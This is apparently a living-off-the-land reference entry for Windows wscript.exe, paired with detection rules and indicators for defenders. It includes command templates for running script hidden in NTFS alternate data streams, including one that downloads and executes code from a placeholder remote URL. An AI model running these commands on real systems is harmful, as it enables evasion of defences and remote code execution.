Wscript.exe
Used by Windows to execute scripts
Full path
C:\Windows\System32\wscript.exe
C:\Windows\SysWOW64\wscript.exeCommands
Execute hidden code to evade defensive counter measures
wscript //e:vbscript {PATH}:script.vbsExecute script stored in an alternate data stream
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute hidden code to evade defensive counter measures
echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.jsDownload and execute script stored in an alternate data stream
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
- Elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
- Elastic https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml
- Elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Splunk https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml
- BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOCWscript.exe executing code from alternate data streams
- IOCDotNet CLR libraries loaded into wscript.exe
- IOCDotNet CLR Usage Log - wscript.exe.log
Resources
acknowledgement: Oddvar Moe @oddvarmoe, SaiLay(valen) @404death